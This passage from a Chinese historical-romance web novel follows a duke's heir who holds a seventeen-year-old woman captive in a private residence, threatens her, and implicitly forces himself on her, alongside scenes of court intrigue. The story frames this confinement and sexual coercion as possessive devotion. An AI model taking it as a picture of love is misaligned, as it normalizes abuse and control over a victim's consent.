“这有什么好气的?我身份低微,只能仰仗着你父亲的宠爱,才能在这深宅大院里有一席之地,更何况,我歆慕国公爷许久,自然要想尽法子,靠近国公爷,得到国公爷。最好也能如郡主般,替国公爷生下个一儿半女的。”
“不知羞耻!”
闻景前日才听夫子讲了,做人要有羞耻心。
没想到今日就遇上了这么个不知羞耻,背着他母亲勾引他父亲的女人。
那宠姬听着闻景稚气未脱的话,随即便捂着艳丽的唇嗤笑道,“世子爷生来高贵,哪里懂得我们这些低贱之人的艰辛?我们这种人,想要得到什么,不用些手段,哪里会有人眼巴巴的送到手里?”
“我不妨教世子爷一个道理,若是想要活得顺心顺意,就得去夺!去争!”
“你想要我父亲的宠爱,所以才藏在里?”
闻景隔着屏风,看着屏风后的人影。
“不错!”
闻景手里的书不知何时掉在了地上。
只愣愣听着那宠姬继续蛊惑道:“人不为己,天诛地灭!就算你母亲是舜华郡主又怎么样?我还是能借着我的手段,将你父亲哄的眉开眼笑,我要什么,他就给我什么。”
要什么,就给什么,借着手段。
“以前一个人告诉我,要什么尽可凭着手段去取什么,不用顾忌礼义廉耻。”
“要想活得顺心顺意,就得去……去夺!去争!
叶含珍闻言心下大骇,当即不停地挣扎道:“你不是人,你是疯子!疯子!”
哪个常人会有如此偏激的想法?怪倒这人行事只凭自己心思,完全不在意别人的感受!
原来,问题出在这里。
叶含珍这会也顾不上自己就在他怀里,只奋力想要逃脱这个疯子的身边。
闻景哪里会如她所愿?
只用一双大手,便轻轻巧巧将人缚在身边。
“我今日说出来,就是想让你明白,我从来都没有打算过要放你走,而你,最好乖一点,否则,我也不知道我会做出什么令人发指的事!”
他仍将脸庞抵在她发间,深吸了一口她发间的清香,低哑着嗓音道:“好好做拴着我这头野兽的链子,至少我现下还愿意考虑你的感受。”
叶含珍头皮被闻景鼻息间呼出的热气激得汗毛直立,口不择言哭骂道:“我不要!我不要做你的狗屁链子!你爱找谁找谁去,别再祸害我!闻景,我们无冤无故,你凭什么这样对我?凭什么?”
“凭什么?”
闻景闷声道,“就凭我恨你在意那个绣球的模样,恨你给他戴面具时,脸上挂着的笑。”
“我那日去温府,就是想去瞧瞧,你名义上的未婚夫是个什么玩意?”闻景冷嘲道,“我倒要看看,除了我,还有谁配和你一起同床共枕!”
闻景此话一出,叶含珍脑海全是往日在临州时,与闻景相遇的点点滴滴。
原来,他早就要夺了自己。甚至早到,他们见第一面时。
太恐怖了!
也太恶心了!
叶含珍顿时胃底涌起一股难以抑制的恶心,当即就一手捂着嘴,弯腰发起干呕来。
闻景见她都被自己气吐了,青筋怒张的手抓起案几上的茶壶,便赫然朝地上摔去。
“砰!”
那只茶壶瞬间落在地上,粉身碎骨,只留一地乍崩得到处都是的茶水,慢慢泅湿织锦团花的绒毯。
而守在外间的下人们,被这动静吓得不轻,只有白枝和青渚敢带着惊惧对视一眼,缓缓走进内室。
“去准备热水给小姐沐浴,再将床榻换干净,”闻景早在摔下茶壶后,便无力得靠在椅背上,平息静气得吩咐道,只是不知想起来了什么,顿了顿又道,“先前替她看脸伤大夫走了吗?”
白枝停下收拾地上残瓷的动作,朝闻景垂眸道:“启禀世子爷,奴婢怕世子爷还要召唤,只将人安置在外院的客房里,并未离开。”
“很好,”闻景难得露出一抹异样的神采,撇了一眼仍蜷缩在榻上的身躯,只转头朝白枝道:“等小姐沐浴后,便让大夫替小姐把个脉。”
谁知她方才是为什么了吐了?
闻景内心里忽冒出个大胆的猜测。
只是可惜的是,等到叶含珍沐浴后,靠着身后的软枕上,大夫也没能诊出闻景想要的答案。
叶含珍不知他的心思,此刻的她,早已神魂外游。
直到耳畔传来“叶劲”两字后,她才恍惚着转头望向坐在床侧的那人。
“……难道你不希望叶劲来京城?”
闻景低笑道,“我还本想着好让你们兄妹两见上一面呢,这样看来,倒是我多心了!”
“没有!”
叶含珍听清了叶劲要来京城的消息,当即抓着闻景的衣袖道,“我哥哥什么时候来?”
闻景却语气不善道:“不是嫌我恶心吗?怎么还理会我说什么?”
只是见叶含珍红胀的双颊,又不忍心道:“是啊,你哥哥再有一段时间,就会来京城述职,若是表现的好,说不定就能留在京里任职,你们也多了可以见面的机会。”
“那我可以回家住吗?”
叶含珍想到叶劲若是能留在京城,那么,她也就没有留在这里的理由。
她是叶劲的妹妹,叶家若置了宅子在京里,那她也应该回自己家的宅子里,求医问药。
闻景早猜到她会问这个问题,于是很快就说出了自己早就想好的对策。
“过些天我母亲会在皇家的菱园,办一场梅花宴,届时你只需去那席上露个面即可,你可答应?”
他母亲?
那不就是今日才让人掌了自己嘴的舜郡主?
叶含珍道:“你让我去参加她的宴席?闻景,你脑子坏了吧?”
她今日才不顾死活得顶撞了舜华郡主,转头却又要去她操持的宴会。说真的,有时候叶含珍真的很想撬开闻景的狗脑袋,看看里面到底装的是什么!
闻景却只道:“今日是我临时进了一趟宫,才耽误了来接你的时辰,我可以用我的性命保证,这次,绝对没有人能伤到你。你只需露个面,便可离开,其他的事交由我来安排就行。”
“或许你若是愿意一直留在这宅子里,那也可以选择不去,反正对我来说都没有什
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么差别。”
叶含珍与闻景相处了这么一段时间,哪里不清楚他的为人?
她警惕道,“闻景,你又打什么主意?”
闻景被她双眸凝视着,心中雀跃得紧,只是端起茶盏掩饰般得饮了两口,才悠悠道:“我打什么主意不重要,重要的是你要不要见叶劲。”
也许见到哥哥,闻景才没有一直关着自己的理由。她如今好歹仍是临州刺史府的小姐,不是闻景过了明路的侍妾。
叶含珍艰难扎挣了许久,才深深叹气道:“我答应你去菱园走一遭,不过你得保证,等我哥哥在京中任职后,会让我回叶府,不会再囚着我。”
“好!”
闻景干脆应下,只是眼眸里闪着无数的算计。
这边叶含珍与闻景达成了协议,消停了不少,只是几日后,朝堂里却炸了锅。
原本应该被严加看管的前刑部侍郎张春,忽暴毙在天牢里,惹得皇帝龙颜震怒。
朝中上上下下的官员皆闭口慎言,生怕说错一句话,将自己也搅和进去。
“张春在天牢里关了一个多月都没死,怎么一要查那账簿就暴毙身亡?”
皇帝气极,将折子扔在地上,“江华楠,人在你手里,你好好给朕解释解释,到底是哪里出了差池!”
“回皇上,臣也想不通那张春为何会暴毙在天牢里!臣自接手张春这个案子以来,每日看管他的狱卒和进出的人员皆是臣亲自安排的,就连他的吃喝,都是臣让府里的家仆做好送去的,绝无半点纰漏啊!”
江华楠双膝跪在冰凉的地板上,诚惶诚恐道。
皇帝眯着松弛的眼皮,打量着面前跪着的两朝老臣,半晌道:“听说,那日你揭发那账簿的诡秘后,有人去了你的府上?这可是真的?”
这几日朝中的大臣们虽管好了自己的舌头,但终究有些捕风捉影的事,还是传到了皇帝的耳中。
江华楠却道:“启禀皇上,臣早知自己责任重大,并不敢随意请客上门,若说有人去了臣的府邸,那也只有郑国公世子,只是他并未进府,也不曾见到过臣。”
“哦,是闻景?”
“回皇上,正是闻世子。”
江华楠庆幸自己早有先见之明,勒令府上的门房,说自己这段时间不见任何外客。
皇帝见他承认闻景找过他,语气也慢慢缓和下来:“你确定闻景没有进过你的府邸?”
江华楠顿时急得脑门上全是汗,捶胸磕头道:“臣愿用性命起誓,那日闻世子被府里的下人拦住,并未进府,也没有私下见过臣。臣虽只是一介寺卿,但很欣赏闻世子的英勇,朝中不少的大臣们都知道,只是世子常年在军营,并不多见。此次世子回京后,臣还未私下里见过他一次啊!皇上!“
皇帝闻言点头道:“这事好查,你不敢撒谎。”
只是这样一来,对张春动手的到底是谁呢?
江华楠却有不同的看法,他擦了擦额间的汗,徐徐道:“张春虽死了,但那银子却找到了,就在张府书房里,被人翻了出来。”
“那为何先前抄家时没有发现?却偏偏在张春死后,才被人翻出来?”
24. 失态
“回皇上,那几张数额巨大的银票,俱被藏在书房架子上的春宫册子里,是属下的人在抄家时,疏忽大意,才导致现下才找到。”
皇帝虽心知此事没有那么凑巧,但见银子已经追回,唯一知情的张春也毙了命,就连整个张府都死的死,散的散。
临近年底,他也实在不想见血,只沉吟道:“此事朕心里已经有数,既然银子追回来了,那就将此事结了吧。”
江华楠没想到皇帝竟然就这样下令了结此事,只好垂着脑袋应下。
而朝臣们则直到皇帝颁下了结贪污案的诏书后,才齐齐松了口气。
原因无他,只因皆知帝王的薄情刻薄。
若不是此次差点被诬陷的是郑国公世子,想来皇帝也没有心情问江华楠那么多话,直接先拿人就是。
而江华楠却自觉对不起闻景,差点连累了他。
张春府上查出银子的事一传开,坐在东宫里的沈俞风,连连冷笑:“不愧是堂堂郑国公府未来的掌舵人,一出手不仅将沈俞风这个蠢货给救了,还将自己撇得干干净净!”
“太子殿下,那闻景不是去过江府吗?为何皇上就如此相信他没有动手?”
沈俞静望着堂下坐着的几位心腹,不屑道:“还能是什么?不就是我们盘算他,他也在盘算我们。”
“他那日明明都到了江府门口,却转头而去,想来要的就是皇帝无凭无据,不能拿他如何。鬼知道他使了什么手段,让张春那草包在狱里一命呜呼?”
东宫的属官们见太子面色不似往日的温和,当即相视一眼。
詹事王和随即出言道:“没想到这闻景才回京城几个月,就开始搅弄朝堂,若是不除此人,怕是六皇子那边就更不好对付了。”
哪知沈俞静却摇头:“也不尽然。”
“他父亲闻言敬早年间就是父皇的心腹,如今的闻家除了闻景风头大了些,他那些兄弟皆低调沉稳的很,可以说,他们郑国公府是实打实的简在帝心,不必淌这浑水。”
太子舍人李骥微也赞同道:“殿下说得不错,以闻世子现下的权势地位,他实在不必这么早就站队六皇子。”
“那他这次为何要帮六皇子?”
一旁的太子少詹,汪宇飞早按捺不住性子道。
沈俞风想起闻景那日说起自己的婚姻大事时,眉梢间说不尽的温色,开口道:“或许是沈俞风也帮了闻景什么忙,他才替沈俞风料理了张春也说不定。”
“殿下是说,闻景还有事需要六皇子帮忙?”
“这可说不定,”沈俞静觉得事情越发有趣起来,“听说他此次自临州回京复命时,曾带着一位美人,只是不知这美人是何身份,会不会就是沈俞风为讨好他,特意寻给他的?”
“再者,闻景也到适婚之龄,郑国公夫妇可是着急得很呢!沈俞风虽不争气,但他母妃柳贵妃是个聪明人,且如今握着后宫宫务,若是闻景谋划的婚事需要柳贵妃出面,替他在皇帝耳畔吹吹风,那他确实更有帮沈俞风的理由。”
谁都知道如今宗室里最抢手未婚子弟,除了几个皇子的正妃之位,便是出身郑国公府的闻景。
他出身好,官职又高,只是气势骇人了些,并不算什么大事。
只是这么多年过去,也未见他对哪家贵女有什么特别,就连舜华郡主办宴,也少听闻景会去。
谁也不知这闻世子,到底心仪什么样的贵女。
沈俞风见眼前几人都摸不着头脑的模样,嘴角漾开一丝笑意,眼眸里却冰凉得瘆人,只听他轻启薄唇道:“看来,舜华姑姑这次举办的梅花宴,孤也要去一遭了。”
隆冬,寒风肆虐,漫天风雪犹如扯絮般,将整所宅院装点得如琉璃世界一般。
高高的屋檐下,全挂着晶莹剔透的棱冰柱儿。
叶含珍趴在炕边的窗沿上,隔着镶着玻璃的窗子,几乎看迷了眼。
她自小长在临州,每逢冬日都是暗沉的天空和连绵不断的阴雨,哪里见过这么飘逸的雪花。
闻景自她被母亲罚过后,也懒怠去上衙。只让人连着告了好几日的假,日日待在这梨花巷的私宅里,同叶含珍朝夕相对。
叶含珍虽不耐烦他的骚扰,但看着哥哥很快就要进京的份上,也不好与他争执。
今日午后,闻景就让人摆了棋盘在炕上,两人拿榛子酥做赌注,赢一局的人,便可吃一块香酥可口的点心。
叶含珍本就是被闻景半哄半逼着执了棋子,落在棋盘。
待这大雪又簌簌下起时,便顾不得棋盘上的胶着战局,只趴在窗前赏雪。
“该你了,珍珍。”
闻景落下一子,却见对面的人早捏着白子,视线却落在屋外。
他瞧着她眼里闪烁着细碎光芒,忍不住道:“你若是好好陪我下完这盘棋,我就给你堆个雪人来玩,如何?”
“堆雪人?”
叶含珍被闻景的话吸引住,转头朝他问道,“你会?”
听着叶含珍的质疑,闻景好笑道:“这有什么难的?只有你这个没见过大雪的糊涂蛋,不会堆雪人,我自小就长在京里,怎么可能不会这些把戏?”
叶含珍低头瞧了瞧手里白玉棋子,委顿道:“那好吧,等我们下完这局,你就得给我做个雪人来玩。”
她柔软的指尖执着棋子,很快就在棋盘上落下一子。
闻景也收回落在她粉唇上的视线,咽了咽干涩的喉间,才看向局势已明的棋盘。
他赢了。
叶含珍却无所谓输赢,只飞快地朝他挑了挑眉,似乎在提醒他别忘记方才的承诺。
这几日不用去上朝,也不用去兵部理事,只每日陪着叶含珍在这宅子里,看看书下下棋,倒让他生出流连忘返之感。
闻景忽瞥见她耳后的红痕,想起这几夜的春色,瞬间绷紧了身子。
原先没有尝过女人的滋味还好,只是自他得了叶含珍后,除了她不方便的时候,几乎夜夜春宵苦短。
食髓知味,大概就是这样的吧。
他瞧着叶含珍眼里瞬间亮起的水色,指了指自己的唇:“亲我一下,我不仅可以给你堆个雪人,还能教你怎么堆雪人!”
教她堆雪人?
叶含珍脸上的笑容凝固在嘴角,她虽很想见见闻景口中的雪人,但要她去吻他,她做不到。
她怎么能去吻将自己陷入如此地步的罪魁祸首?
除非,她疯了。
闻景等了半天也没有等到她的回应,便知她仍对自己有芥蒂,不过不重要,他已经决定要讨好人,又怎么会为她区区冷淡之色而打退堂鼓呢?
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>“不亲也行,不过你去菱花庄赴宴的梳妆打扮,得全盘听我的安排,你看这样可好?”
就这样?
叶含珍听得他话中的退步,也不好再拂他的面子,点头应下:“听世子爷的。”
闻景得了叶含珍的话,欣喜之色爬上眼角眉梢,顾不上披上丫头递来的大氅,便朝外间走去。
叶含珍松了口气,这才转身继续啊趴在炕边的窗沿上,她要看看闻景到底要如何堆雪人。
京城不比临州,冬日里早早就下起了雪。
府上的奴仆手脚极勤,除了方才落下的雪,院中的积雪早就被扫得干干净净。
眼下,地面上也只铺了不足一指的落雪。
叶含珍一手支着下颌,望向窗外闻景的身影。
只见他只穿着一身玉色云锦的棉袍站在院子里,接过下人递来的扫帚,慢慢扫起地上的积雪;来。
直到那雪堆大的让他满意时,才放下扫帚,开始将雪团成团。
一大一小的两个雪团很快就做好了。
只见闻景得意朝自己这边望了一眼后,便给那堆在大雪团上面的小雪团,按上了两颗黑色石子。
这就是眼睛?
叶含珍只觉自己又被闻景给骗了。
很快,不知闻景在那两只黑色石子下,抹了些什么,很快一张血红的嘴也浮现在叶含珍眼前。
在闻景的亲自动手下,正院的院子里正矗立着一个肚大头圆的滑稽雪人。
连头上也罩着闻景不知从哪里寻来的宽沿竹篾斗笠,这下倒真像个渔翁立在眼下。
叶含珍瞧着有趣极了,却又不愿意承认,只看过几眼后,便仍回到方才撂下的棋盘旁,去捡自己被闻景吃掉的棋子。
直到耳边传来窗户的敲击声,她才抬头望向窗外。
却是闻景手里举着一个缩小版的雪人,朝她笑得眉飞色舞。
“珍珍,你看,”闻景用冻得通红的手将一个巴掌大的雪人,凑到窗户的玻璃前,朝叶含珍眉飞色舞道,“这是你。”
叶含珍此时反而不看闻景手里的雪人,只愣愣望着他冻得通红的鼻间和耳朵。
他口鼻呼出的白色雾气渐渐透过玻璃,像是临州冬日里的霏霏细雨里漫起的大雾,让她恍惚以为这是一场幻境,她还在临州。
可笑,原来他也懂如何讨好别人,而不是一味的逼迫和威胁。
见他笑得极明朗深情眼眸,手上的棋子蓦然脱离了掌控。
闻景,我用得着你如此费心尽力讨好吗?
叶含珍的星眸几乎要被闻景脸上的笑意灼伤。她在想,若是此时站在窗外逗她开心的人是温行松,那她会该是如何得快活幸福?
可惜,她此生在无可能尝到这幸福的滋味。
不知不觉中,叶含珍的眼眶泛起酸意来,连一滴滴热泪便划过脸庞,滴落在手背上,也不曾觉察。
她自己也未发觉自己的失态,直到看见闻景嘴角的笑意凝滞,才慌乱着抬着衣袖去擦眼角。
等到视线变得清晰时,早不见了闻景的人,只剩一堆残雪孤零零的碎在地上。
只有两颗石子,还能让她勉强认出,那是方才闻景手里那只雪人的眼睛。
“叶含珍,我到底要如何做,才能让你死心塌地得跟着我?”
25. 谁比谁高贵
屋内暖和,闻景还未行至暖阁,身上的积雪便开始消融。
他带着满身寒意站在炕边,任凭发间的落雪融化成冰凉的水滴,从鬓角滴下。而先前伺候在屋内的下人,早就被他挥退。
他握紧早已冻得麻木的双手,红着眼尾,咬牙切齿得审视着,早哭得眼圈发红浮肿的叶含珍。
“闻景,你想都不必想,”叶含珍没想到他居然还要自己死心塌地得跟着他,她止住了抽噎,泪眼汪汪道,”你就死了这份心吧!我如今这种见不得人身份,都是拜你所赐!”
叶含珍抹了一把眼泪,神色激愤道:“若不是你,我和温行松早就成婚,哪里会受人掌箍之辱?”
“若不是你,我会是他明媒正娶的妻子,会是清清白白的叶家女,温家妇,而不是像如今这般如丧家之犬,被你困在这暗无天日的宅子里,任你百般羞辱!你说是我爹将我送上了你的床榻,可是,你也不是什么好东西!”
她原本可以做堂堂刺史府的小姐,可以做温家的媳妇,如今却只能成为他私宅里的玩物,人不人,鬼不鬼的活着。
闻景被她的连连质问,气得简直发狂。
温行松!
又是温行松!
为什么她眼里就只有那个呆里呆气的温行松,她看不见他如今对她的百般体贴和维护吗?
闻景闻言呼吸一滞,双眸发着骇人的光,直直道:“温家妇?哈哈哈哈!别做梦了,我那日在临州河畔就说过,你和温行松是成不了婚的!”
“温家愿意娶你入门,不过是因为你是叶孝义的女儿,若是军粮案里叶孝义没有我的庇护,下了大狱,你猜温行松还会不会娶你?”
“我们—”
“够了!”
闻景厉声打断叶含珍的话,继续讥讽道,“我先前不是说叶劲过几日就会入京吗?我还得了消息,你那前未婚夫温行松眼下已经入了京,不过他此次入京可不是为了你,也不是为了述职,而是要迎娶京少尹家的大小姐李若清。你看,没了与你的婚事,他仍可以娶高门宦官家里的小姐,为何你就要死死抓着不肯释怀呢?”
叶含珍听完闻景的话,整个人彷佛被抽走了魂魄般,不哭也不闹。
是吗?
行松哥哥就要娶别人了吗?
可是,他说过此生只会娶自己为妻,就算海枯石烂,也不会负了她。
这是他亲口说过的!
他亲口对她说过的!怎么能就转头去娶别人呢?
“砰!”
叶含珍抬手猛得掀翻炕上的案几,连带着棋盘还未收起的棋子,洒满一地,发出玉石相撞的清脆声和木头跌落的沉闷声。
片刻后,屋里才又回到方才的寂静。
叶含珍低头瞧着方才掀案几时,衣袖滑落,腕臂上露出的暧昧痕迹。
她吸了吸鼻子,低低笑了几声:“哈哈哈,闻景,我看我现在还配和他在一起吗?”
叶含珍说完便双手扯着衣襟,往下一拉,只见原本晶莹如雪的肌肤上,如今却散落着不少欢好后的印记。
闻景怔愣着,看她又哭又笑的模样。
“温行松就算是娶了别的女子,也轮不到你来对他指手画脚!你害了我,也害了他,你有什么资格说他要另娶他人?若不是你从中作梗,他会娶别人吗?”
叶含珍扬起满是泪痕的脸颊,对上闻景早就怔愣的双眼,“你敢说我和他有今日的结果,和你闻景一点关系也没有!我告诉你,就算我爹被下了狱,也不见得温家就会落井下石来叶府退婚,更何况,就算我被温府退婚,也比只会比如今好!”
再差,哪怕是死,她也是清清白白的叶含珍。
她还不清楚方才闻景的挑拨吗?
依如今自己的现况,别说温行松,恐怕但凡是个有血性的男子,也不会将她这种女子放在眼里。
不过就是个榻间任人玩弄的礼物,哪里配做人家的妻子?
她哭得嗓音几乎都哑了,却不能缓解一点点内心的悲痛。只能低下头,尽力捂着发疼的心口,不去看那张她厌恶至极的脸。
“比如今好?”
闻景手上拉起了她散开的衣襟,遮住了那抹春光,嗤笑道:“天真!你知不知若是你爹当真下了狱,不仅他会死,就连你,你娘,还有叶劲都会被牵连?叶劲会丢官流放,而你和你娘作为犯官家眷,则会被充入教坊司。”
“你知道教坊司是什么地方吗?那地方全是朝廷犯官的家眷,连坊间的青楼都不如!”
本朝开国定下的规矩,若是进入教坊司的犯官家眷,一律不得赎出,除了死,皆不可离开。
她若是真的被叶孝义牵连入了教坊司,那他闻景想救她,除了去造反,便没有第二条出路。
可笑的是,自己如今却被她视为破坏她姻缘的罪魁祸首。
叶珍珍一个闺阁女儿,又未接触过朝廷之事,哪里会知道教坊司的残酷?
她却只道:“我如今被你关在这里,想来和你口中的教坊司也无甚差别。“
都是禁脔。
不过,在这里只有一个人面兽心的闻景。
其他的,也差不了多少。
“在教坊司是无数男子的玩物,在这里,我也是你的玩物。难不成,你觉着自己和去教坊司的男子高贵些吗?”
这话说得又狠又辣,连闻景也险些被她这话刺得站不稳身躯。
他连连向前踉跄了两步,双手制住她的胳臂,强迫着人抬头看向他:“你就这么厌恶我?”
厌恶到拿他与去教坊司寻欢作乐的男子相比?
叶含珍见闻景痛楚的神情,宛如抓住了他的软肋,毫不留情道:“就凭你是郑国公世子,堂堂二品大员,就觉着你与别的男子不同吗?闻景,我告诉你,我只恨不能活活咬死你,以泄心头只恨!”
她叶含珍从天真活泼的闺中少女,被闻景变成深宅里讨人欢心的鸟雀,她难道不该厌恶他,恨他吗?
满打满算,她今年也才十七岁,原本在闺中无忧无虑得憧憬着,与心上人恩爱甜蜜得过日子,却不料一朝被他沾污,成了他藏在私宅的玩物,这叫她如何能释怀?
闻景深吸一口气,竭力遏制住想要一把掐死她的冲动,出言讥嘲道:“你骂我,是觉着我在榻间还不够温柔吗?那好,我今夜可以试试温柔些,免得我只顾着自己爽了,忽略你的感受。”
“啪!”
一声清脆的巴掌声在房间里响起,直直压过了闻景方才发狠的声响。
闻景气的扭曲脸上,很快就浮起了几根指痕印。
细细长长的,有些滑稽。
叶含珍则甩了甩发痛的手掌,冷冷道:“你再敢侮辱我试试看!”
她可不是什么软包子脾气,惹急了
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眼,也是会打人的。
闻景慢慢转过被打得侧向一边的头,怒极反笑:“打得好!如果这样能令你消消气,那我也不算白挨这一巴掌。”
他从前做下的事,他心里有数。
虽然方才和叶含珍言之凿凿,但他心里明白,其实他可以先不必如此着急的。他完全可以先带着人回了京城,再安排人去提亲就好。
只是那夜上元节时,他被她和温行松的郎情妾意,激得眼睛都红了,哪里还顾得上许多?
只想着先得了人,再好好安抚着她,慢慢筹划婚事。
叶含珍听闻此话,又扬起手狠狠朝闻景另一侧脸上呼去。
“啪!”
这次的声响比方才的还要大些,闻景的嘴角都渗出了血丝。
外间簌簌落下的雪花,在这巴掌声落地后,越发显得清晰。叶含珍几乎能凭借着寂静晦暗的屋内,分辨出不同地方接着落雪发出的声响。
外间的天色越发阴沉,只不过将将过了申时末,屋内就变得昏暗起来。
只有罩着鎏金瑞兽镂空盖子的炭盆里,还有闪烁着几丝微弱的红光。
但这并不足以照亮视线,叶含珍打过闻景这一巴掌后,便顺着早虚脱的身子,跌坐在炕上。
宛如这样就能借着黑暗,将她脸上的哀戚掩埋,将她的伤心落魄掩藏。
闻景挨了叶含珍两巴掌,也冷静些。
他松开制住她胳臂的手,在刺痛的唇角一抹,一丝腥色便落在他眼帘里。
“我的珍珍可消气了?若是还不消气,那就再扇几个巴掌,今日,我定让你心里的怨气消个彻底,免得来日又提起此事。”
他如鬼魅般的声音,在叶含珍耳膜上敲击。
“闻景,你觉得你挨我几个巴掌,就能磨灭你对我所做的一切?”
叶含珍眨了眨发胀酸涩的眼眸,原来,她的清白在他眼里,便只值几个巴掌。
闻景见她气得声音都开始发颤,强硬着将人抱在怀中,额头抵着额头,轻声道:“那你还想如何?莫不是一定要杀了我才甘心?”
随即又拉开些二人的距离,用舌尖舔了舔仍流血的嘴角,咬牙切齿道:“自小爹娘都没有打过我,更不提被人扇巴掌了,珍珍,你还想如何?”
“闻景,你—”
“啊切!”
闻景瞬间转过了头,捂着鼻子打了个响亮的喷嚏,又不死心道:“珍珍,我—啊切!”
叶含珍这时也才惊觉闻景还穿着被热气化湿的锦袍,不过,方才二人才唇枪舌战一番,此时便只扭过头去看一旁盛放的水仙。
闻景连着打了两个喷嚏后,便觉得整个人有些头重脚轻起来,于是唤了下人进来掌灯,伺候着他换下了湿透的衣衫。
仗着素来身体健壮,闻景并不将这几声喷嚏当做什么要紧事,只草草喝了碗姜汤,就罢了。
吵了半晌,叶含珍也累极了。
晚膳时,只恹恹得用过一碗鱼片粥就不肯再吃。
闻景知她心里还是一时不能接受自己,只得按住内心的火气,吩咐了厨房晚间送些她素日里爱吃的点心过来。
用完晚膳的叶含珍不欲再与闻景下棋,只转身去了书案后,寻出了字帖,要习字。
青莲替她铺好了澄心堂纸,就在她要挽袖替叶含珍研墨时,却被闻景喊住:“下去,我来伺候她。”
26. 斓清
闻景说完这话也不顾叶含珍拧起的蛾眉,抬脚走至案旁,挽袖研起墨来。
青莲见状哪敢再多待,一边畏惧着闻景的威压,一边觉着这不算什么值得大惊小怪的事,早快快地退后几步,出了内室。
而叶含珍,甚至连眼神都没有半分波澜,只低着头对着字帖神游天外。
房内伺候的白枝青渚,早在临州时就见过她们主子是如何伺候叶含珍穿鞋着袜。
只不过是替叶小姐研墨这种小事而已,没看见那日叶小姐自宝光寺回来后,朝她家主子吐水的时候吗?
闻景执着墨锭匀速在砚台磨着,眼神却飘向身侧出神的叶含珍。
“墨已经磨好了,怎么不动笔?”
她练得是时下闺阁女眷多用的簪花小楷。
闻景来这宅子里寻她时,都基本是在这书案后见到人。
见砚中墨色匀和,闻景便停了手,放下墨条。
叶含珍闻言后,随手翻开案桌上摆放的《金刚经》,找到她夹在书里的花签,提笔沾墨。
那书签是叶含珍夏日里打发时间,制成的绣球花签。
闻景趁着叶含珍专心习字时,忍不住将花签捏在手里赏玩。
“你这花签做的不错,不如待春日时,也给我制些芍药花签吧?”
叶含珍听到闻景的话,头也不抬:“不会。”
做梦!
叶含珍暗自腹诽道。
她才不会给闻景做在什么见鬼的花签,她此刻能忍受闻景玩弄她精心制作的绣球花签,已经是格外开恩。
更何况,哥哥再过两日就会进京,想来她也能很快离开闻景的掌控。
闻景见她语气不善,倒也不生气。只走至人身后,握住她提笔的玉手。
屋内盈盈火烛,暖色的光洒在她莹润的指节上,让人控制不住自己去触碰。
“你这字笔锋不对,我教你写。”
闻景自说自话握着叶含珍的手,慢慢在纸上落下墨色。
手背上传来男子手心的温热,叶含珍不适得挣了挣,却发现毫无意义。
她侧头轻启唇瓣道:“我自己写就好,不劳世子爷费心。”
“别乱动,再动,这张就要写坏了。”
闻景倒是比她还在意这张字帖。
待到这张字帖写完,闻景却并不打算放手,仍握着叶含珍的手,在纸上挥舞。
只几息,光洁的澄心纸赫然越上数个铁画银钩,龙飞凤舞的字迹。
这是闻景惯常写字的笔锋,和他这个人再相像不过。
哪里是先前写的婉柔端丽楷书?
两张字帖放在案桌上,宛如房间里靠近的二人,天壤之别。
“将这两张字帖裱在一起,好吗?”
这书房里挂着不少她习过的字,都是闻景让人请了裱字画的师傅入府制成的。
叶含珍在这宅子里住了几个月,现下,连书案前的大瓷缸里都盛满了她习过的字。
叶含珍试图避着着耳边传来的温热气息,僵直着背脊,低声道:“不好。”
任谁见了这两张字帖不会觉得奇怪?
这两张字帖毫无任何相宜之处,也只有闻景这种荒诞的人,才会有这种荒诞无稽的想法。
“你现下除了'不'字,是不是就不会说其他的了?”
饶是闻景耐心再好,这会被叶含珍泼来的冷水,浇得心口发冷,再没了先前的好脸色。
就这么短短一会,任他如何闻言细语,她都没个好脸给自己。
那他也就不必再装了。
闻景沉下脸色,握着叶含珍的手,在那纸上又飞快地落下两字。
“斓清,这是我年少时在宫里伴驾时,皇帝赐下的表字,”闻景见她耳后的肌肤上浮起一粒粒毛孔,将下颌放在她肩上,继续吐气道,“叫一声我的表字来听听。”
叶含珍几乎要被闻景整个圈在怀里,手里羊毫上的墨汁顺着笔尖滴落在酸枝乌木案桌上。
她知道闻景已经开始不悦自己,但她却还是不愿意如他所愿,喊他的表字。
他当她是她侍妾,是下属献上来的礼物,又何必如此惺惺作态,让她唤他的表字?
不过瞧着自己不理他,扭曲而已。
叶含珍轻吐一口心间的闷气,徐徐道:“我不过是世子爷养在这深宅的侍妾,身份低微,如此亲密得唤世子爷的表字不合适。世子爷若是想让人唤你的表字,不如早些娶妻纳妾,这样便可以日日得偿所愿。”
她这话将自己贬损得极低,只是落在闻景的耳中,又有了另一番滋味。
“你不想唤我的表字,那你想唤谁的表字?温行松的吗?”闻景握着她的手蓦然收紧,又将人强制着转向自己,沉声道,“我不是下午才告诉过你温行松要另娶他人吗?你究竟要我如何说,你才明白你们之间有缘无分?”
与她有缘的是他,不是温行松。
“我与他有缘无分?闻景,那你有没有想过那我们之间有的,也不过是令人作呕的孽缘?”
叶含珍见闻景怒目抿唇,当即便讥讽一笑,“早知那个绣球不要也罢。”
若是她没有去追那个被她抛过墙头的绣球,她也不会与闻景相见。
后面的一切屈辱之事,便也不会发生。
她怨过,哭过,也挣扎过,都无济于事。
闻景听闻她后悔当日的相见,几乎气得发狂,只恨自己没有再离开临州之前,彻底解决了温行松。
也恨自己为何老是要在她前面提及那人。
如今她虽已经被他缚在身边,但他始终放不下内心的不安和嫉恨,每每与她争执时,皆忍不住与那人相较。
叶含珍见闻景只面色扭曲得凝视着自己,不由开口继续道:“若是我知道捡那个绣球会让我付出如此惨痛的代价,我宁愿不要它!”
也许是怕她触物伤情,叶夫人替她准备的行李里并没有放那只斓锦绣球。
可是这又有什么用呢?
她还不是日日夜夜煎熬着,被自己的悔恨折磨。
“你这样说,我倒是要感谢温行松送给你赏玩的绣球了,”闻景怒极反笑,挑着眉角道,“若不是你如此紧张那只绣球,也不会追到我怀里来。”
“好吧,那我就看在温行松替咱俩牵线的份上,在他们大婚那日,我定送上一份大礼谢媒,免得你老是魂不守舍的。”
闻景不顾叶含珍的躲避,按着人的后颈,低头在那樱唇上落下一吻。
想来是今日两人相处得着实不如前几日和睦,连着吵了两次,闻景这边自然也没有什么好心情,晚间落帐时,将人折腾得狠了些。
直到叶含珍闭着双眼,累得一根指头也抬不起来时,才开口唤了下人送水进来。
闭着眼睛徐徐喘匀了气息,额间被温热的帕子拭过,叶含珍才觉得好受些。
身上润湿的衣衫已经被闻景换过。
